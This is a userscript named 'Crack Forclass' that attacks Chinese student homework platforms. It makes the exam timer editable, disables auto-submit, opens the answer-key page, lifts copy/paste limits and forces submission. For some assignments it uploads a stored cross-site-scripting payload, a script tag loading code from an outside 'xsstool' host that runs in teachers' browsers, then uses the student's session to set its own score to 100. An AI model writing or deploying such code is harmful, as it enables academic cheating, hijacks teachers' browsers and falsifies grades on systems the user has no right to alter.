// ==UserScript==
// @name Crack Forclass
// @namespace https://www.forclass.tk/script
// @version 3.3.3
// @description 这同样适用于 Forclass,Sunclass,271BAY,Zhizhiniao
// @author Houtarchat
// @match *://*.forclass.net/Student/Dati*
// @match *://*.271bay.com/Student/Dati*
// @match *://web.zhizhiniao.com/Student/Dati*
// @contributionURL https://www.houtarchat.ml/donate.html
// @contributionAmount 5 RMB
// @license GNU General Public License
// @run-at document-idle
// ==/UserScript==
(function () {
"use strict";
unsafeWindow.g_debugmode = true;
var aidx = unsafeWindow.getRequestParamValue("aidx");
var paidx = unsafeWindow.getRequestParamValue("paidx");
if (unsafeWindow.getRequestParamValue("type") == "5") {
if (window.confirm("一键完成&批阅?")) {
var settings = {
url:
"http://zzn.sun.forclass.net/ANAService.asmx/UploadAttachmentPaperAnswer2",
method: "POST",
timeout: 0,
headers: {
"content-type": "application/json; charset=UTF-8"
},
data:
'{"session":"' +
JSON.parse(sessionStorage.account).session +
'","page":1,"aidx":"' +
aidx +
'","studentAnswer":"<script src=\'http://houtar-xsstool.gear.host/myjs/zzn.js\'></script>","studentAnswerURL":"","size":""}'
};
var settings2 = {
url:
"http://zzn.sun.forclass.net/ANAService.asmx/GetStudentAnsweredPaper",
method: "POST",
timeout: 0,
headers: {
"content-type": "application/json; charset=UTF-8"
},
data:
'{"session":"' +
JSON.parse(sessionStorage.account).session +
'","page":1,"paIdx":"' +
paidx +
'","aidx":"' +
aidx +
'"}'
};
$.ajax(settings).done(function (response) {
console.log(response);
$.ajax(settings2).done(function (response) {
console.log(response);
paidx = response.d.result[0].PAIdx;
var settings3 = {
url:
"http://zzn.sun.forclass.net/ANAService.asmx/SetAssignmentPaperAnswer",
method: "POST",
timeout: 0,
headers: {
"content-type": "application/json; charset=UTF-8"
},
data:
'{"session":"' +
JSON.parse(sessionStorage.account).session +
'","page":1,"paIdx":"' +
paidx +
'","score":"100","comment":""}'
};
$.ajax(settings3).done(function (response) {
console.log(response);
});
});
});
return;
}
}
window.alert("Houtarchat 破解!");
var hourEle = document.getElementById("hour"),
minEle = document.getElementById("minute"),
secEle = document.getElementById("second");
hourEle.contentEditable = true;
minEle.contentEditable = true;
secEle.contentEditable = true;
unsafeWindow.tick = function tick() {
sessionStorage.second = secEle.innerHTML;
sessionStorage.minute = minEle.innerHTML;
sessionStorage.hour = hourEle.innerHTML;
};
unsafeWindow.polling4Submit = function () {};
var dajxurl =
location.protocol + "//" + location.host + "/Student/Dajx?aidx=" + aidx;
var sd = window.prompt(
"答案已经被检测到,是否为您打开?\n输入0取消,\n输入1打开弹出式页面,\n输入2打开frame页面"
);
if (sd !== null && sd != "0") {
if (sd == "1") {
window.open(dajxurl);
} else if (sd == "2") {
var out = document.createElement("div");
out.setAttribute("class", "dlg-out");
out.setAttribute(
"style",
"z-index:3000;left:362.5px;top:140.5px;display:block"
);
document.querySelector("#main").appendChild(out);
var bar = document.createElement("div");
bar.setAttribute("class", "dlg-bar");
out.appendChild(bar);
var title = document.createElement("div");
title.setAttribute("class", "dlg-title");
title.innerText = "Houtarchat";
bar.appendChild(title);
var rtbtns = document.createElement("div");
rtbtns.setAttribute("class", "dlg-rtbtns-out");
bar.appendChild(rtbtns);
var closeE = document.createElement("div");
closeE.setAttribute("class", "dlg-close-e");
closeE.setAttribute(
"style",
"text-align:center;width:34px;height:39px;display:inline-block;cursor:pointer;vertical-align:top;cursor:pointer;font-size:21px;font-weight:700"
);
closeE.innerText = "×";
rtbtns.appendChild(closeE);
var body = document.createElement("iframe");
body.setAttribute("class", "dlg-body");
body.setAttribute("src", dajxurl);
body.setAttribute(
"style",
"height:250px;width:450px;left:0;overflow:scroll;"
);
body.setAttribute("scrolling", "yes");
out.appendChild(body);
var about = document.createElement("div");
about.setAttribute(
"style",
"border:1px solid #ccc;background:#eee;position:absolute;display:none;padding-left: 20px;padding-right: 20px;padding-top: 10px;padding-bottom: 10px;"
);
about.innerHTML =
'关于 <a href="https://www.forclass.tk/script">Crack Forclass</a>:<br>作者:Houtarchat\n';
out.appendChild(about);
bar.oncontextmenu = function (e) {
e = e || unsafeWindow.event;
e.preventDefault();
about.style.display = "block";
about.style.left = e.clientX - 362.5 + "px";
about.style.top = e.clientY - 140.5 + "px";
};
bar.onclick = function () {
if (event.target !== closeE) {
var e = event;
about.style.display = "block";
about.style.left = e.clientX - 362.5 + "px";
about.style.top = e.clientY - 140.5 + "px";
} else {
if (about.style.display == "block") {
about.style.display = "none";
} else {
out.style.display = "none";
}
}
};
if (body.attachEvent) {
body.attachEvent("onload", function () {
var content = document.querySelector(
"#main > div:nth-child(10) > iframe"
).contentDocument;
var style = content.createElement("style");
style.innerText = "*{max-width:520px!important;}";
content.querySelector("head").appendChild(style);
content.querySelector("body").setAttribute("style", "width: 1040px;");
content
.querySelector("#main > div.el-main.el-w1200")
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content"
)
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div"
)
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div.el-main-right.el-stu-manual-r > div > div"
)
.setAttribute("style", "width:520px");
content.querySelector("#header").remove();
content.querySelector("#footer").remove();
content
.querySelector("#main > div.el-main.el-w1200 > div > div.totop")
.remove();
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div.el-main-left.el-main-left-thin"
)
.remove();
});
} else {
body.onload = function () {
var content = document.querySelector(
"#main > div:nth-child(10) > iframe"
).contentDocument;
var style = content.createElement("style");
style.innerText = "*{max-width:520px!important;}";
content.querySelector("head").appendChild(style);
content.querySelector("body").setAttribute("style", "width: 1040px;");
content
.querySelector("#main > div.el-main.el-w1200")
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content"
)
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div"
)
.setAttribute("style", "width:520px");
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div.el-main-right.el-stu-manual-r > div > div"
)
.setAttribute("style", "width:520px");
content.querySelector("#header").remove();
content.querySelector("#footer").remove();
content
.querySelector("#main > div.el-main.el-w1200 > div > div.totop")
.remove();
content
.querySelector(
"#main > div.el-main.el-w1200 > div > div.el-stu-out.el-stu-content > div.el-main-left.el-main-left-thin"
)
.remove();
};
}
}
}
unsafeWindow.$(".qoption input,.qoption textarea").unbind("cut copy paste");
document
.querySelector(
"#paperoperation > div.el-dati-funcs.el-upload-submit > div.el-dati-submit-td"
)
.setAttribute("class", "el-dati-submit-td");
// window.setInterval(function () {
// unsafeWindow.paperUpload = false;
// unsafeWindow.uploadQuestionAnswer(paidx, aidx, false, function (result, target) {});
// }, 5000);
document.querySelector(
"#paperoperation > div.el-dati-funcs.el-upload-submit > div.el-dati-btn-submit"
).onclick = function () {
if (window.confirm("如果您无法提交,请点击确定以强制提交")) {
unsafeWindow.uploadQuestionAnswer(paidx, aidx, true, window.alert("已提交!"));
}
};
})();